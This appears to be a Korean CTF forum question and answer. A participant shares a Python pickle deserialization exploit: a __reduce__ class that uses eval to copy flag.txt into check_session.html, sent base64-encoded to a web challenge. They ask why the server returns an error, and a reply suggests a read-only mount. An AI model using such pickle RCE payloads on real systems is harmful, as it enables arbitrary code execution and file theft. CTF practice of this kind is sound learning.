Internal Server Error
import pickle
import base64
import os
class RCE:
def __reduce__(self):
cmd = "f = open('check_session.html', 'a').write(open('./flag.txt', 'r').read())"
return (__builtins__.eval, (cmd,))
if __name__ == '__main__':
pickled = pickle.dumps(RCE())
print(base64.b64encode(pickled))
위와 같이 코드를 작성하고 프린트된 값을 그대로 check_session에 전달해 줬는데 계속 Internal Server Error에서 막힙니다. 혹시 제가 놓치고 있는 부분이 있을까요?? ㅠㅠ
#web
작성자 정보
답변
1
meu
.HACK 2024 참가자
check_session.html
이 포함된 directory가 read-only
로 mount된 폴더 아래에 있다면 check_session.html
내용을 수정하지 못할 수도 있습니다